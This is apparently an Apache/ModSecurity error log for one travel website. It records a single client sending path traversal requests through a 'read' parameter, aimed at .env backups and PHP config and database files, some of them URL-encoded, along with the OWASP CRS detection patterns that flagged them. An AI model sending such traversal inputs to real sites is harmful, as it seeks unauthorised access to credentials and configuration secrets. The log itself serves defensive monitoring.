[Fri Jul 17 08:55:06.308382 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.308694 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkivekYYQ8uns4MwlHQAAAA0"]
[Fri Jul 17 08:55:06.328219 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPAAAABs"]
[Fri Jul 17 08:55:06.328264 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPAAAABs"]
[Fri Jul 17 08:55:06.329378 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPAAAABs"]
[Fri Jul 17 08:55:06.329487 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.332121 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkqquHSHoCJK_V0SBPAAAABs"]
[Fri Jul 17 08:55:06.467674 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUSQAAABI"]
[Fri Jul 17 08:55:06.467723 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUSQAAABI"]
[Fri Jul 17 08:55:06.468967 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUSQAAABI"]
[Fri Jul 17 08:55:06.469116 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.469437 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkl1_86A5R6msWNfUSQAAABI"]
[Fri Jul 17 08:55:06.470890 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ASgAAAAU"]
[Fri Jul 17 08:55:06.470941 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ASgAAAAU"]
[Fri Jul 17 08:55:06.471004 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:read: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ASgAAAAU"]
[Fri Jul 17 08:55:06.472196 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ASgAAAAU"]
[Fri Jul 17 08:55:06.472312 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.472585 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhAi3pC6yjXGNq2ASgAAAAU"]
[Fri Jul 17 08:55:06.474077 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?read=..%2F..%2Fconfig%2Fapp.php&extra=AZqNwEWzK_CqNFSh9gdAvTiZXUtqbFCmM_ZVtvUMfeQJBFBHEtdF3_klmXcb0xMunCb-YP6e56PtM5xojoOr1UG876Lufp5kDLDf9SBrO4LneLQjW-xjbPI33FLRxfZ6eLz_5aqXVOp-RYF-da1TEsR_LXpVk6CdzTgVBHQouPCZPoHBeInpxE02Kxy6NHKJuTBRC9h7mWbbKSTbuCroTNDcgXRPvJHNZfy6LZ0PJ-uAK9K3ezUUcUDUozbyN7zpQRa5JOiWXdzJ-5eR8swF_HtE&sid=H2C2JGN2XSZBYO5724EBSFHUTEN624CLVRNVPKT46CAWHCUCROI3CLFYPD7OS42QSG5RXR6AH7EMNRURZTVJUFSKSV73N2G4QBIA4CTT3D2EWDRAQOOMCIJSYSTYM6GGWFA..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTS_wAAAAM"]
[Fri Jul 17 08:55:06.474131 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTS_wAAAAM"]
[Fri Jul 17 08:55:06.474178 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?read=../../config/app.php&extra=AZqNwEWzK_CqNFSh9gdAvTiZXUtqbFCmM_ZVtvUMfeQJBFBHEtdF3_klmXcb0xMunCb-YP6e56PtM5xojoOr1UG876Lufp5kDLDf9SBrO4LneLQjW-xjbPI33FLRxfZ6eLz_5aqXVOp-RYF-da1TEsR_LXpVk6CdzTgVBHQouPCZPoHBeInpxE02Kxy6NHKJuTBRC9h7mWbbKSTbuCroTNDcgXRPvJHNZfy6LZ0PJ-uAK9K3ezUUcUDUozbyN7zpQRa5JOiWXdzJ-5eR8swF_HtE&sid=H2C2JGN2XSZBYO5724EBSFHUTEN624CLVRNVPKT46CAWHCUCROI3CLFYPD7OS42QSG5RXR6AH7EMNRURZTVJUFSKSV73N2G4QBIA4CTT3D2EWDRAQOOMCIJSYSTYM6GGWFAOGZDEUDNWUSAFK..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTS_wAAAAM"]
[Fri Jul 17 08:55:06.474207 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?read=../../config/app.php&extra=azqnwewzk_cqnfsh9gdavtizxutqbfcmm_zvtvumfeqjbfbhetdf3_klmxcb0xmuncb-yp6e56ptm5xojoor1ug876lufp5kdldf9sbro4lnelqjw-xjbpi33flrxfz6elz_5aqxvop-ryf-da1tesr_lxpvk6cdztgvbhqoupczpohbeinpxe02kxy6nhkjutbrc9h7mwbbkstbucrotndcgxrpvjhnzfy6lz0pj-uak9k3ezuucuduozbyn7zpqra5joiwxdzj-5er8swf_hte&sid=h2c2jgn2xszbyo5724ebsfhuten624clvrnvpkt46cawhcucroi3clfypd7os42qsg5rxr6ah7emnrurztvjufsksv73n2g4qbia4ctt3d2ewdraqoomcijsystym6ggwfaogzdeudnwusafk..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTS_wAAAAM"]
[Fri Jul 17 08:55:06.474228 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTS_wAAAAM"]
[Fri Jul 17 08:55:06.474253 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTS_wAAAAM"]
[Fri Jul 17 08:55:06.474317 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:read: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTS_wAAAAM"]
[Fri Jul 17 08:55:06.475512 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTS_wAAAAM"]
[Fri Jul 17 08:55:06.475665 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.475994 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhHlOGcokz2QIwTS_wAAAAM"]
[Fri Jul 17 08:55:06.493935 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?read=..%2F..%2Fconfig%2Fdatabase.php&extra=voJqdGbX0IQJRKpjY70Po6DPdoT3PAgUpwBlnNmm-TQdQp8SSROPeSPuNJ0gjbwip9iSAY_-ckvQWLvCpZBd6JwOBe5hVBg4mQF2OwQNR5IZ6n-fQ37RM0PF6yw5NZiM__ssfJAA8ni_h7lMthArP8ssxFv5gaHyFMs_xPP9j-xyVDHxFB6EmcD16X2iBls3s5ca73v66e54o2u54AiwI_kawGqQ2ELI-A9CvDGTPfTTFslYB_Pj5cBAlClyRXBZ715zu7q-2pJ6sLBzc30gI4aR&ref=XY6FYCGTEQE6MZ4DIAIHKKX6GC2ONCS6EN4YJXLQFFJW4DUHV33JGDB5DAWE5BGMAPV6RPU5YOUYV5NGP5QQTSQJQRNXL3PPMSHQQQXP4J7ZPJGLGYFLKFRZ4MC33F..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkivekYYQ8uns4MwlHwAAAA0"]
[Fri Jul 17 08:55:06.493998 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkivekYYQ8uns4MwlHwAAAA0"]
[Fri Jul 17 08:55:06.494057 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?read=../../config/database.php&extra=voJqdGbX0IQJRKpjY70Po6DPdoT3PAgUpwBlnNmm-TQdQp8SSROPeSPuNJ0gjbwip9iSAY_-ckvQWLvCpZBd6JwOBe5hVBg4mQF2OwQNR5IZ6n-fQ37RM0PF6yw5NZiM__ssfJAA8ni_h7lMthArP8ssxFv5gaHyFMs_xPP9j-xyVDHxFB6EmcD16X2iBls3s5ca73v66e54o2u54AiwI_kawGqQ2ELI-A9CvDGTPfTTFslYB_Pj5cBAlClyRXBZ715zu7q-2pJ6sLBzc30gI4aR&ref=XY6FYCGTEQE6MZ4DIAIHKKX6GC2ONCS6EN4YJXLQFFJW4DUHV33JGDB5DAWE5BGMAPV6RPU5YOUYV5NGP5QQTSQJQRNXL3PPMSHQQQXP4J7ZPJGLGYFLKFRZ4MC33F4UCI4RWT5VAYAD..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkivekYYQ8uns4MwlHwAAAA0"]
[Fri Jul 17 08:55:06.494091 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?read=../../config/database.php&extra=vojqdgbx0iqjrkpjy70po6dpdot3pagupwblnnmm-tqdqp8ssropespunj0gjbwip9isay_-ckvqwlvcpzbd6jwobe5hvbg4mqf2owqnr5iz6n-fq37rm0pf6yw5nzim__ssfjaa8ni_h7lmtharp8ssxfv5gahyfms_xpp9j-xyvdhxfb6emcd16x2ibls3s5ca73v66e54o2u54aiwi_kawgqq2eli-a9cvdgtpfttfslyb_pj5cbalclyrxbz715zu7q-2pj6slbzc30gi4ar&ref=xy6fycgteqe6mz4diaihkkx6gc2oncs6en4yjxlqffjw4duhv33jgdb5dawe5bgmapv6rpu5youyv5ngp5qqtsqjqrnxl3ppmshqqqxp4j7zpjglgyflkfrz4mc33f4uci4rwt5vayad..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkivekYYQ8uns4MwlHwAAAA0"]
